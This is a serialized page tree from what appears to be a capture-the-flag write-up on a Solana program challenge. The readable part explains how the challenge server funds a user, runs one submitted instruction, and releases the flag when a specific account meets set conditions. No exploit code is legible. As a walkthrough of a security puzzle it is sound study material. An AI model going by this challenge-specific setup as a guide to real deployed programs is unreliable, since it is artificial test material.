lue":124},{"type":23,"tag":213,"props":41444,"children":41445},{"style":257},[41446],{"type":28,"value":26217},{"type":23,"tag":213,"props":41448,"children":41449},{"style":220},[41450],{"type":28,"value":13955},{"type":23,"tag":213,"props":41452,"children":41453},{"style":274},[41454],{"type":28,"value":124},{"type":23,"tag":213,"props":41456,"children":41457},{"style":257},[41458],{"type":28,"value":3754},{"type":23,"tag":213,"props":41460,"children":41461},{"style":220},[41462],{"type":28,"value":15484},{"type":23,"tag":213,"props":41464,"children":41465},{"class":215,"line":543},[41466,41470,41474,41478,41482,41486,41490,41494,41498,41502,41506,41510,41514,41518,41522,41526,41530,41534,41538,41542,41546,41550,41554,41558,41562,41566,41570,41574],{"type":23,"tag":213,"props":41467,"children":41468},{"style":230},[41469],{"type":28,"value":3163},{"type":23,"tag":213,"props":41471,"children":41472},{"style":268},[41473],{"type":28,"value":40826},{"type":23,"tag":213,"props":41475,"children":41476},{"style":274},[41477],{"type":28,"value":511},{"type":23,"tag":213,"props":41479,"children":41480},{"style":220},[41481],{"type":28,"value":40711},{"type":23,"tag":213,"props":41483,"children":41484},{"style":274},[41485],{"type":28,"value":562},{"type":23,"tag":213,"props":41487,"children":41488},{"style":220},[41489],{"type":28,"value":40720},{"type":23,"tag":213,"props":41491,"children":41492},{"style":274},[41493],{"type":28,"value":562},{"type":23,"tag":213,"props":41495,"children":41496},{"style":257},[41497],{"type":28,"value":40729},{"type":23,"tag":213,"props":41499,"children":41500},{"style":274},[41501],{"type":28,"value":562},{"type":23,"tag":213,"props":41503,"children":41504},{"style":220},[41505],{"type":28,"value":40738},{"type":23,"tag":213,"props":41507,"children":41508},{"style":290},[41509],{"type":28,"value":474},{"type":23,"tag":213,"props":41511,"children":41512},{"style":220},[41513],{"type":28,"value":17277},{"type":23,"tag":213,"props":41515,"children":41516},{"style":514},[41517],{"type":28,"value":4170},{"type":23,"tag":213,"props":41519,"children":41520},{"style":220},[41521],{"type":28,"value":23108},{"type":23,"tag":213,"props":41523,"children":41524},{"style":290},[41525],{"type":28,"value":684},{"type":23,"tag":213,"props":41527,"children":41528},{"style":220},[41529],{"type":28,"value":367},{"type":23,"tag":213,"props":41531,"children":41532},{"style":268},[41533],{"type":28,"value":3791},{"type":23,"tag":213,"props":41535,"children":41536},{"style":220},[41537],{"type":28,"value":3821},{"type":23,"tag":213,"props":41539,"children":41540},{"style":514},[41541],{"type":28,"value":4170},{"type":23,"tag":213,"props":41543,"children":41544},{"style":274},[41545],{"type":28,"value":3150},{"type":23,"tag":213,"props":41547,"children":41548},{"style":514},[41549],{"type":28,"value":40903},{"type":23,"tag":213,"props":41551,"children":41552},{"style":220},[41553],{"type":28,"value":15470},{"type":23,"tag":213,"props":41555,"children":41556},{"style":274},[41557],{"type":28,"value":124},{"type":23,"tag":213,"props":41559,"children":41560},{"style":257},[41561],{"type":28,"value":26217},{"type":23,"tag":213,"props":41563,"children":41564},{"style":220},[41565],{"type":28,"value":13955},{"type":23,"tag":213,"props":41567,"children":41568},{"style":274},[41569],{"type":28,"value":124},{"type":23,"tag":213,"props":41571,"children":41572},{"style":257},[41573],{"type":28,"value":3754},{"type":23,"tag":213,"props":41575,"children":41576},{"style":220},[41577],{"type":28,"value":15484},{"type":23,"tag":213,"props":41579,"children":41580},{"class":215,"line":551},[41581,41585,41589,41593],{"type":23,"tag":213,"props":41582,"children":41583},{"style":257},[41584],{"type":28,"value":40939},{"type":23,"tag":213,"props":41586,"children":41587},{"style":220},[41588],{"type":28,"value":265},{"type":23,"tag":213,"props":41590,"children":41591},{"style":268},[41592],{"type":28,"value":12714},{"type":23,"tag":213,"props":41594,"children":41595},{"style":220},[41596],{"type":28,"value":2867},{"type":23,"tag":213,"props":41598,"children":41599},{"class":215,"line":570},[41600],{"type":23,"tag":213,"props":41601,"children":41602},{"emptyLinePlaceholder":18},[41603],{"type":28,"value":530},{"type":23,"tag":213,"props":41605,"children":41606},{"class":215,"line":655},[41607,41611,41615,41619,41623,41627,41631,41635],{"type":23,"tag":213,"props":41608,"children":41609},{"style":268},[41610],{"type":28,"value":41109},{"type":23,"tag":213,"props":41612,"children":41613},{"style":274},[41614],{"type":28,"value":511},{"type":23,"tag":213,"props":41616,"children":41617},{"style":274},[41618],{"type":28,"value":927},{"type":23,"tag":213,"props":41620,"children":41621},{"style":268},[41622],{"type":28,"value":3791},{"type":23,"tag":213,"props":41624,"children":41625},{"style":220},[41626],{"type":28,"value":3821},{"type":23,"tag":213,"props":41628,"children":41629},{"style":514},[41630],{"type":28,"value":40903},{"type":23,"tag":213,"props":41632,"children":41633},{"style":274},[41634],{"type":28,"value":3150},{"type":23,"tag":213,"props":41636,"children":41637},{"style":220},[41638],{"type":28,"value":31630},{"type":23,"tag":213,"props":41640,"children":41641},{"class":215,"line":1176},[41642],{"type":23,"tag":213,"props":41643,"children":41644},{"emptyLinePlaceholder":18},[41645],{"type":28,"value":530},{"type":23,"tag":213,"props":41647,"children":41648},{"class":215,"line":1202},[41649,41653,41657,41661,41665,41669,41673,41677,41681,41685,41689,41693,41697,41701,41705,41709,41713,41717,41721,41725,41729,41733,41737,41741,41745,41749,41753,41757,41761],{"type":23,"tag":213,"props":41650,"children":41651},{"style":230},[41652],{"type":28,"value":3163},{"type":23,"tag":213,"props":41654,"children":41655},{"style":268},[41656],{"type":28,"value":13933},{"type":23,"tag":213,"props":41658,"children":41659},{"style":274},[41660],{"type":28,"value":511},{"type":23,"tag":213,"props":41662,"children":41663},{"style":220},[41664],{"type":28,"value":40711},{"type":23,"tag":213,"props":41666,"children":41667},{"style":274},[41668],{"type":28,"value":562},{"type":23,"tag":213,"props":41670,"children":41671},{"style":220},[41672],{"type":28,"value":40720},{"type":23,"tag":213,"props":41674,"children":41675},{"style":274},[41676],{"type":28,"value":562},{"type":23,"tag":213,"props":41678,"children":41679},{"style":257},[41680],{"type":28,"value":40729},{"type":23,"tag":213,"props":41682,"children":41683},{"style":274},[41684],{"type":28,"value":562},{"type":23,"tag":213,"props":41686,"children":41687},{"style":220},[41688],{"type":28,"value":40738},{"type":23,"tag":213,"props":41690,"children":41691},{"style":290},[41692],{"type":28,"value":474},{"type":23,"tag":213,"props":41694,"children":41695},{"style":220},[41696],{"type":28,"value":17277},{"type":23,"tag":213,"props":41698,"children":41699},{"style":514},[41700],{"type":28,"value":4170},{"type":23,"tag":213,"props":41702,"children":41703},{"style":220},[41704],{"type":28,"value":23108},{"type":23,"tag":213,"props":41706,"children":41707},{"style":230},[41708],{"type":28,"value":20321},{"type":23,"tag":213,"props":41710,"children":41711},{"style":220},[41712],{"type":28,"value":265},{"type":23,"tag":213,"props":41714,"children":41715},{"style":290},[41716],{"type":28,"value":684},{"type":23,"tag":213,"props":41718,"children":41719},{"style":220},[41720],{"type":28,"value":41418},{"type":23,"tag":213,"props":41722,"children":41723},{"style":268},[41724],{"type":28,"value":3791},{"type":23,"tag":213,"props":41726,"children":41727},{"style":220},[41728],{"type":28,"value":3821},{"type":23,"tag":213,"props":41730,"children":41731},{"style":274},[41732],{"type":28,"value":3150},{"type":23,"tag":213,"props":41734,"children":41735},{"style":514},[41736],{"type":28,"value":4170},{"type":23,"tag":213,"props":41738,"children":41739},{"style":220},[41740],{"type":28,"value":15470},{"type":23,"tag":213,"props":41742,"children":41743},{"style":274},[41744],{"type":28,"value":124},{"type":23,"tag":213,"props":41746,"children":41747},{"style":257},[41748],{"type":28,"value":26217},{"type":23,"tag":213,"props":41750,"children":41751},{"style":220},[41752],{"type":28,"value":13955},{"type":23,"tag":213,"props":41754,"children":41755},{"style":274},[41756],{"type":28,"value":124},{"type":23,"tag":213,"props":41758,"children":41759},{"style":257},[41760],{"type":28,"value":3754},{"type":23,"tag":213,"props":41762,"children":41763},{"style":220},[41764],{"type":28,"value":15484},{"type":23,"tag":213,"props":41766,"children":41767},{"class":215,"line":1758},[41768,41772,41776,41780,41784,41788,41792,41796,41800,41804,41808,41812,41816,41820,41824,41828,41832,41836,41840,41844,41848,41852,41856,41860,41864,41868,41872,41876],{"type":23,"tag":213,"props":41769,"children":41770},{"style":230},[41771],{"type":28,"value":3163},{"type":23,"tag":213,"props":41773,"children":41774},{"style":268},[41775],{"type":28,"value":40826},{"type":23,"tag":213,"props":41777,"children":41778},{"style":274},[41779],{"type":28,"value":511},{"type":23,"tag":213,"props":41781,"children":41782},{"style":220},[41783],{"type":28,"value":40711},{"type":23,"tag":213,"props":41785,"children":41786},{"style":274},[41787],{"type":28,"value":562},{"type":23,"tag":213,"props":41789,"children":41790},{"style":220},[41791],{"type":28,"value":40720},{"type":23,"tag":213,"props":41793,"children":41794},{"style":274},[41795],{"type":28,"value":562},{"type":23,"tag":213,"props":41797,"children":41798},{"style":257},[41799],{"type":28,"value":40729},{"type":23,"tag":213,"props":41801,"children":41802},{"style":274},[41803],{"type":28,"value":562},{"type":23,"tag":213,"props":41805,"children":41806},{"style":220},[41807],{"type":28,"value":40738},{"type":23,"tag":213,"props":41809,"children":41810},{"style":290},[41811],{"type":28,"value":474},{"type":23,"tag":213,"props":41813,"children":41814},{"style":220},[41815],{"type":28,"value":17277},{"type":23,"tag":213,"props":41817,"children":41818},{"style":514},[41819],{"type":28,"value":4170},{"type":23,"tag":213,"props":41821,"children":41822},{"style":220},[41823],{"type":28,"value":23108},{"type":23,"tag":213,"props":41825,"children":41826},{"style":290},[41827],{"type":28,"value":684},{"type":23,"tag":213,"props":41829,"children":41830},{"style":220},[41831],{"type":28,"value":367},{"type":23,"tag":213,"props":41833,"children":41834},{"style":268},[41835],{"type":28,"value":3791},{"type":23,"tag":213,"props":41837,"children":41838},{"style":220},[41839],{"type":28,"value":3821},{"type":23,"tag":213,"props":41841,"children":41842},{"style":514},[41843],{"type":28,"value":4170},{"type":23,"tag":213,"props":41845,"children":41846},{"style":274},[41847],{"type":28,"value":3150},{"type":23,"tag":213,"props":41849,"children":41850},{"style":514},[41851],{"type":28,"value":40903},{"type":23,"tag":213,"props":41853,"children":41854},{"style":220},[41855],{"type":28,"value":15470},{"type":23,"tag":213,"props":41857,"children":41858},{"style":274},[41859],{"type":28,"value":124},{"type":23,"tag":213,"props":41861,"children":41862},{"style":257},[41863],{"type":28,"value":26217},{"type":23,"tag":213,"props":41865,"children":41866},{"style":220},[41867],{"type":28,"value":13955},{"type":23,"tag":213,"props":41869,"children":41870},{"style":274},[41871],{"type":28,"value":124},{"type":23,"tag":213,"props":41873,"children":41874},{"style":257},[41875],{"type":28,"value":3754},{"type":23,"tag":213,"props":41877,"children":41878},{"style":220},[41879],{"type":28,"value":15484},{"type":23,"tag":213,"props":41881,"children":41882},{"class":215,"line":1767},[41883,41887,41891,41895],{"type":23,"tag":213,"props":41884,"children":41885},{"style":257},[41886],{"type":28,"value":40939},{"type":23,"tag":213,"props":41888,"children":41889},{"style":220},[41890],{"type":28,"value":265},{"type":23,"tag":213,"props":41892,"children":41893},{"style":268},[41894],{"type":28,"value":12714},{"type":23,"tag":213,"props":41896,"children":41897},{"style":220},[41898],{"type":28,"value":2867},{"type":23,"tag":213,"props":41900,"children":41901},{"class":215,"line":1789},[41902],{"type":23,"tag":213,"props":41903,"children":41904},{"style":220},[41905],{"type":28,"value":2875},{"type":23,"tag":213,"props":41907,"children":41908},{"class":215,"line":1812},[41909],{"type":23,"tag":213,"props":41910,"children":41911},{"style":220},[41912],{"type":28,"value":1208},{"type":23,"tag":9693,"props":41914,"children":41916},{"id":41915},"test-environment",[41917],{"type":28,"value":41918},"Test Environment",{"type":23,"tag":24,"props":41920,"children":41921},{},[41922],{"type":28,"value":41923},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":41925,"children":41926},{},[41927,41929,41935],{"type":28,"value":41928},"When you connect to the server through a tcp connection, ",{"type":23,"tag":209,"props":41930,"children":41932},{"className":41931},[],[41933],{"type":28,"value":41934},"framework/src/main.rs::handle_connection",{"type":28,"value":41936}," gets executed, which does the following:",{"type":23,"tag":131,"props":41938,"children":41939},{},[41940],{"type":23,"tag":135,"props":41941,"children":41942},{},[41943],{"type":28,"value":41944},"Creates a new Solana local node",{"type":23,"tag":202,"props":41946,"children":41948},{"className":206,"code":41947,"language":205,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41949],{"type":23,"tag":209,"props":41950,"children":41951},{"__ignoreMap":7},[41952,42033,42109],{"type":23,"tag":213,"props":41953,"children":41954},{"class":215,"line":216},[41955,41959,41963,41968,41972,41977,41981,41986,41990,41995,41999,42004,42008,42012,42016,42021,42025,42029],{"type":23,"tag":213,"props":41956,"children":41957},{"style":230},[41958],{"type":28,"value":11871},{"type":23,"tag":213,"props":41960,"children":41961},{"style":230},[41962],{"type":28,"value":492},{"type":23,"tag":213,"props":41964,"children":41965},{"style":268},[41966],{"type":28,"value":41967}," builder",{"type":23,"tag":213,"props":41969,"children":41970},{"style":274},[41971],{"type":28,"value":511},{"type":23,"tag":213,"props":41973,"children":41974},{"style":290},[41975],{"type":28,"value":41976}," ChallengeBuilder",{"type":23,"tag":213,"props":41978,"children":41979},{"style":274},[41980],{"type":28,"value":562},{"type":23,"tag":213,"props":41982,"children":41983},{"style":257},[41984],{"type":28,"value":41985},"try_from",{"type":23,"tag":213,"props":41987,"children":41988},{"style":220},[41989],{"type":28,"value":265},{"type":23,"tag":213,"props":41991,"children":41992},{"style":268},[41993],{"type":28,"value":41994},"socket",{"type":23,"tag":213,"props":41996,"children":41997},{"style":274},[41998],{"type":28,"value":124},{"type":23,"tag":213,"props":42000,"children":42001},{"style":257},[42002],{"type":28,"value":42003},"try_clone",{"type":23,"tag":213,"props":42005,"children":42006},{"style":220},[42007],{"type":28,"value":13955},{"type":23,"tag":213,"props":42009,"children":42010},{"style":274},[42011],{"type":28,"value":124},{"type":23,"tag":213,"props":42013,"children":42014},{"style":257},[42015],{"type":28,"value":3754},{"type":23,"tag":213,"props":42017,"children":42018},{"style":220},[42019],{"type":28,"value":42020},"())",{"type":23,"tag":213,"props":42022,"children":42023},{"style":274},[42024],{"type":28,"value":124},{"type":23,"tag":213,"props":42026,"children":42027},{"style":257},[42028],{"type":28,"value":3754},{"type":23,"tag":213,"props":42030,"children":42031},{"style":220},[42032],{"type":28,"value":3759},{"type":23,"tag":213,"props":42034,"children":42035},{"class":215,"line":226},[42036,42041,42045,42050,42054,42059,42063,42068,42072,42077,42082,42086,42091,42095,42100,42104],{"type":23,"tag":213,"props":42037,"children":42038},{"style":257},[42039],{"type":28,"value":42040},"assert!",{"type":23,"tag":213,"props":42042,"children":42043},{"style":220},[42044],{"type":28,"value":265},{"type":23,"tag":213,"props":42046,"children":42047},{"style":268},[42048],{"type":28,"value":42049},"builder",{"type":23,"tag":213,"props":42051,"children":42052},{"style":274},[42053],{"type":28,"value":124},{"type":23,"tag":213,"props":42055,"children":42056},{"style":257},[42057],{"type":28,"value":42058},"add_program",{"type":23,"tag":213,"props":42060,"children":42061},{"style":220},[42062],{"type":28,"value":265},{"type":23,"tag":213,"props":42064,"children":42065},{"style":246},[42066],{"type":28,"value":42067},"\"/path/to/chall.so\"",{"type":23,"tag":213,"props":42069,"children":42070},{"style":220},[42071],{"type":28,"value":424},{"type":23,"tag":213,"props":42073,"children":42074},{"style":290},[42075],{"type":28,"value":42076},"Some",{"type":23,"tag":213,"props":42078,"children":42079},{"style":220},[42080],{"type":28,"value":42081},"(chall",{"type":23,"tag":213,"props":42083,"children":42084},{"style":274},[42085],{"type":28,"value":562},{"type":23,"tag":213,"props":42087,"children":42088},{"style":220},[42089],{"type":28,"value":42090},"ID)) ",{"type":23,"tag":213,"props":42092,"children":42093},{"style":274},[42094],{"type":28,"value":8660},{"type":23,"tag":213,"props":42096,"children":42097},{"style":220},[42098],{"type":28,"value":42099}," chall",{"type":23,"tag":213,"props":42101,"children":42102},{"style":274},[42103],{"type":28,"value":562},{"type":23,"tag":213,"props":42105,"children":42106},{"style":220},[42107],{"type":28,"value":42108},"ID);\n",{"type":23,"tag":213,"props":42110,"children":42111},{"class":215,"line":524},[42112,42116,42120,42124,42128,42132,42136,42141,42145,42149,42153],{"type":23,"tag":213,"props":42113,"children":42114},{"style":230},[42115],{"type":28,"value":11871},{"type":23,"tag":213,"props":42117,"children":42118},{"style":230},[42119],{"type":28,"value":492},{"type":23,"tag":213,"props":42121,"children":42122},{"style":268},[42123],{"type":28,"value":42099},{"type":23,"tag":213,"props":42125,"children":42126},{"style":274},[42127],{"type":28,"value":511},{"type":23,"tag":213,"props":42129,"children":42130},{"style":268},[42131],{"type":28,"value":41967},{"type":23,"tag":213,"props":42133,"children":42134},{"style":274},[42135],{"type":28,"value":124},{"type":23,"tag":213,"props":42137,"children":42138},{"style":257},[42139],{"type":28,"value":42140},"build",{"type":23,"tag":213,"props":42142,"children":42143},{"style":220},[42144],{"type":28,"value":13955},{"type":23,"tag":213,"props":42146,"children":42147},{"style":274},[42148],{"type":28,"value":124},{"type":23,"tag":213,"props":42150,"children":42151},{"style":1362},[42152],{"type":28,"value":32972},{"type":23,"tag":213,"props":42154,"children":42155},{"style":220},[42156],{"type":28,"value":313},{"type":23,"tag":131,"props":42158,"children":42159},{"start":226},[42160],{"type":23,"tag":135,"props":42161,"children":42162},{},[42163],{"type":28,"value":42164},"Funds the user account with 100 SOL",{"type":23,"tag":202,"props":42166,"children":42168},{"className":206,"code":42167,"language":205,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[42169],{"type":23,"tag":209,"props":42170,"children":42171},{"__ignoreMap":7},[42172,42205,42237,42244,42286,42318,42325,42333,42397,42416,42423],{"type":23,"tag":213,"props":42173,"children":42174},{"class":215,"line":216},[42175,42179,42184,42188,42193,42197,42201],{"type":23,"tag":213,"props":42176,"children":42177},{"style":230},[42178],{"type":28,"value":11871},{"type":23,"tag":213,"props":42180,"children":42181},{"style":268},[42182],{"type":28,"value":42183}," user_keypair",{"type":23,"tag":213,"props":42185,"children":42186},{"style":274},[42187],{"type":28,"value":511},{"type":23,"tag":213,"props":42189,"children":42190},{"style":290},[42191],{"type":28,"value":42192}," Keypair",{"type":23,"tag":213,"props":42194,"children":42195},{"style":274},[42196],{"type":28,"value":562},{"type":23,"tag":213,"props":42198,"children":42199},{"style":257},[42200],{"type":28,"value":1687},{"type":23,"tag":213,"props":42202,"children":42203},{"style":220},[42204],{"type":28,"value":3759},{"type":23,"tag":213,"props":42206,"children":42207},{"class":215,"line":226},[42208,42212,42217,42221,42225,42229,42233],{"type":23,"tag":213,"props":42209,"children":42210},{"style":230},[42211],{"type":28,"value":11871},{"type":23,"tag":213,"props":42213,"children":42214},{"style":268},[42215],{"type":28,"value":42216}," user",{"type":23,"tag":213,"props":42218,"children":42219},{"style":274},[42220],{"type":28,"value":511},{"type":23,"tag":213,"props":42222,"children":42223},{"style":268},[42224],{"type":28,"value":42183},{"type":23,"tag":213,"props":42226,"children":42227},{"style":274},[42228],{"type":28,"value":124},{"type":23,"tag":213,"props":42230,"children":42231},{"style":257},[42232],{"type":28,"value":99},{"type":23,"tag":213,"props":42234,"children":42235},{"style":220},[42236],{"type":28,"value":3759},{"type":23,"tag":213,"props":42238,"children":42239},{"class":215,"line":524},[42240],{"type":23,"tag":213,"props":42241,"children":42242},{"emptyLinePlaceholder":18},[42243],{"type":28,"value":530},{"type":23,"tag":213,"props":42245,"children":42246},{"class":215,"line":533},[42247,42251,42256,42260,42264,42269,42273,42277,42281],{"type":23,"tag":213,"props":42248,"children":42249},{"style":230},[42250],{"type":28,"value":11871},{"type":23,"tag":213,"props":42252,"children":42253},{"style":268},[42254],{"type":28,"value":42255}," payer_keypair",{"type":23,"tag":213,"props":42257,"children":42258},{"style":274},[42259],{"type":28,"value":511},{"type":23,"tag":213,"props":42261,"children":42262},{"style":274},[42263],{"type":28,"value":927},{"type":23,"tag":213,"props":42265,"children":42266},{"style":268},[42267],{"type":28,"value":42268},"chall",{"type":23,"tag":213,"props":42270,"children":42271},{"style":274},[42272],{"type":28,"value":124},{"type":23,"tag":213,"props":42274,"children":42275},{"style":220},[42276],{"type":28,"value":20335},{"type":23,"tag":213,"props":42278,"children":42279},{"style":274},[42280],{"type":28,"value":124},{"type":23,"tag":213,"props":42282,"children":42283},{"style":220},[42284],{"type":28,"value":42285},"payer;\n",{"type":23,"tag":213,"props":42287,"children":42288},{"class":215,"line":543},[42289,42293,42298,42302,42306,42310,42314],{"type":23,"tag":213,"props":42290,"children":42291},{"style":230},[42292],{"type":28,"value":11871},{"type":23,"tag":213,"props":42294,"children":42295},{"style":268},[42296],{"type":28,"value":42297}," payer",{"type":23,"tag":213,"props":42299,"children":42300},{"style":274},[42301],{"type":28,"value":511},{"type":23,"tag":213,"props":42303,"children":42304},{"style":268},[42305],{"type":28,"value":42255},{"type":23,"tag":213,"props":42307,"children":42308},{"style":274},[42309],{"type":28,"value":124},{"type":23,"tag":213,"props":42311,"children":42312},{"style":257},[42313],{"type":28,"value":99},{"type":23,"tag":213,"props":42315,"children":42316},{"style":220},[42317],{"type":28,"value":3759},{"type":23,"tag":213,"props":42319,"children":42320},{"class":215,"line":551},[42321],{"type":23,"tag":213,"props":42322,"children":42323},{"emptyLinePlaceholder":18},[42324],{"type":28,"value":530},{"type":23,"tag":213,"props":42326,"children":42327},{"class":215,"line":570},[42328],{"type":23,"tag":213,"props":42329,"children":42330},{"style":268},[42331],{"type":28,"value":42332},"chall\n",{"type":23,"tag":213,"props":42334,"children":42335},{"class":215,"line":655},[42336,42341,42346,42351,42355,42359,42363,42367,42372,42376,42380,42384,42388,42393],{"type":23,"tag":213,"props":42337,"children":42338},{"style":274},[42339],{"type":28,"value":42340}," .",{"type":23,"tag":213,"props":42342,"children":42343},{"style":257},[42344],{"type":28,"value":42345},"run_ix",{"type":23,"tag":213,"props":42347,"children":42348},{"style":220},[42349],{"type":28,"value":42350},"(system_instruction",{"type":23,"tag":213,"props":42352,"children":42353},{"style":274},[42354],{"type":28,"value":562},{"type":23,"tag":213,"props":42356,"children":42357},{"style":257},[42358],{"type":28,"value":2629},{"type":23,"tag":213,"props":42360,"children":42361},{"style":220},[42362],{"type":28,"value":265},{"type":23,"tag":213,"props":42364,"children":42365},{"style":274},[42366],{"type":28,"value":405},{"type":23,"tag":213,"props":42368,"children":42369},{"style":268},[42370],{"type":28,"value":42371},"payer",{"type":23,"tag":213,"props":42373,"children":42374},{"style":220},[42375],{"type":28,"value":424},{"type":23,"tag":213,"props":42377,"children":42378},{"style":274},[42379],{"type":28,"value":405},{"type":23,"tag":213,"props":42381,"children":42382},{"style":268},[42383],{"type":28,"value":20287},{"type":23,"tag":213,"props":42385,"children":42386},{"style":220},[42387],{"type":28,"value":424},{"type":23,"tag":213,"props":42389,"children":42390},{"style":514},[42391],{"type":28,"value":42392},"100_000_000_000",{"type":23,"tag":213,"props":42394,"children":42395},{"style":220},[42396],{"type":28,"value":19766},{"type":23,"tag":213,"props":42398,"children":42399},{"class":215,"line":1176},[42400,42404,42408,42412],{"type":23,"tag":213,"props":42401,"children":42402},{"style":274},[42403],{"type":28,"value":42340},{"type":23,"tag":213,"props":42405,"children":42406},{"style":1362},[42407],{"type":28,"value":32972},{"type":23,"tag":213,"props":42409,"children":42410},{"style":274},[42411],{"type":28,"value":2126},{"type":23,"tag":213,"props":42413,"children":42414},{"style":220},[42415],{"type":28,"value":313},{"type":23,"tag":213,"props":42417,"children":42418},{"class":215,"line":1202},[42419],{"type":23,"tag":213,"props":42420,"children":42421},{"emptyLinePlaceholder":18},[42422],{"type":28,"value":530},{"type":23,"tag":213,"props":42424,"children":42425},{"class":215,"line":1758},[42426,42431,42435,42439,42443,42448,42452,42456,42460,42464],{"type":23,"tag":213,"props":42427,"children":42428},{"style":257},[42429],{"type":28,"value":42430},"writeln!",{"type":23,"tag":213,"props":42432,"children":42433},{"style":220},[42434],{"type":28,"value":265},{"type":23,"tag":213,"props":42436,"children":42437},{"style":268},[42438],{"type":28,"value":41994},{"type":23,"tag":213,"props":42440,"children":42441},{"style":220},[42442],{"type":28,"value":424},{"type":23,"tag":213,"props":42444,"children":42445},{"style":246},[42446],{"type":28,"value":42447},"\"user: {}\"",{"type":23,"tag":213,"props":42449,"children":42450},{"style":220},[42451],{"type":28,"value":424},{"type":23,"tag":213,"props":42453,"children":42454},{"style":268},[42455],{"type":28,"value":20287},{"type":23,"tag":213,"props":42457,"children":42458},{"style":220},[42459],{"type":28,"value":2121},{"type":23,"tag":213,"props":42461,"children":42462},{"style":274},[42463],{"type":28,"value":2126},{"type":23,"tag":213,"props":42465,"children":42466},{"style":220},[42467],{"type":28,"value":313},{"type":23,"tag":131,"props":42469,"children":42470},{"start":524},[42471],{"type":23,"tag":135,"props":42472,"children":42473},{},[42474],{"type":28,"value":42475},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":202,"props":42477,"children":42479},{"className":206,"code":42478,"language":205,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[42480],{"type":23,"tag":209,"props":42481,"children":42482},{"__ignoreMap":7},[42483,42533],{"type":23,"tag":213,"props":42484,"children":42485},{"class":215,"line":216},[42486,42490,42495,42499,42503,42507,42512,42516,42520,42525,42529],{"type":23,"tag":213,"props":42487,"children":42488},{"style":230},[42489],{"type":28,"value":11871},{"type":23,"tag":213,"props":42491,"children":42492},{"style":268},[42493],{"type":28,"value":42494}," solve_ix",{"type":23,"tag":213,"props":42496,"children":42497},{"style":274},[42498],{"type":28,"value":511},{"type":23,"tag":213,"props":42500,"children":42501},{"style":268},[42502],{"type":28,"value":42099},{"type":23,"tag":213,"props":42504,"children":42505},{"style":274},[42506],{"type":28,"value":124},{"type":23,"tag":213,"props":42508,"children":42509},{"style":257},[42510],{"type":28,"value":42511},"read_instruction",{"type":23,"tag":213,"props":42513,"children":42514},{"style":220},[42515],{"type":28,"value":42081},{"type":23,"tag":213,"props":42517,"children":42518},{"style":274},[42519],{"type":28,"value":562},{"type":23,"tag":213,"props":42521,"children":42522},{"style":220},[42523],{"type":28,"value":42524},"ID)",{"type":23,"tag":213,"props":42526,"children":42527},{"style":274},[42528],{"type":28,"value":2126},{"type":23,"tag":213,"props":42530,"children":42531},{"style":220},[42532],{"type":28,"value":313},{"type":23,"tag":213,"props":42534,"children":42535},{"class":215,"line":226},[42536,42540,42544,42549,42553,42557,42561,42566,42570,42574,42578,42582,42587,42591,42595,42599,42603,42607,42611,42615],{"type":23,"tag":213,"props":42537,"children":42538},{"style":268},[42539],{"type":28,"value":42268},{"type":23,"tag":213,"props":42541,"children":42542},{"style":274},[42543],{"type":28,"value":124},{"type":23,"tag":213,"props":42545,"children":42546},{"style":257},[42547],{"type":28,"value":42548},"run_ixs_full",{"type":23,"tag":213,"props":42550,"children":42551},{"style":220},[42552],{"type":28,"value":265},{"type":23,"tag":213,"props":42554,"children":42555},{"style":274},[42556],{"type":28,"value":405},{"type":23,"tag":213,"props":42558,"children":42559},{"style":220},[42560],{"type":28,"value":3821},{"type":23,"tag":213,"props":42562,"children":42563},{"style":268},[42564],{"type":28,"value":42565},"solve_ix",{"type":23,"tag":213,"props":42567,"children":42568},{"style":220},[42569],{"type":28,"value":23108},{"type":23,"tag":213,"props":42571,"children":42572},{"style":274},[42573],{"type":28,"value":405},{"type":23,"tag":213,"props":42575,"children":42576},{"style":220},[42577],{"type":28,"value":3821},{"type":23,"tag":213,"props":42579,"children":42580},{"style":274},[42581],{"type":28,"value":405},{"type":23,"tag":213,"props":42583,"children":42584},{"style":268},[42585],{"type":28,"value":42586},"user_keypair",{"type":23,"tag":213,"props":42588,"children":42589},{"style":220},[42590],{"type":28,"value":23108},{"type":23,"tag":213,"props":42592,"children":42593},{"style":274},[42594],{"type":28,"value":405},{"type":23,"tag":213,"props":42596,"children":42597},{"style":268},[42598],{"type":28,"value":20287},{"type":23,"tag":213,"props":42600,"children":42601},{"style":220},[42602],{"type":28,"value":2121},{"type":23,"tag":213,"props":42604,"children":42605},{"style":274},[42606],{"type":28,"value":124},{"type":23,"tag":213,"props":42608,"children":42609},{"style":1362},[42610],{"type":28,"value":32972},{"type":23,"tag":213,"props":42612,"children":42613},{"style":274},[42614],{"type":28,"value":2126},{"type":23,"tag":213,"props":42616,"children":42617},{"style":220},[42618],{"type":28,"value":313},{"type":23,"tag":131,"props":42620,"children":42621},{"start":533},[42622],{"type":23,"tag":135,"props":42623,"children":42624},{},[42625],{"type":28,"value":42626},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":202,"props":42628,"children":42630},{"className":206,"code":42629,"language":205,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n 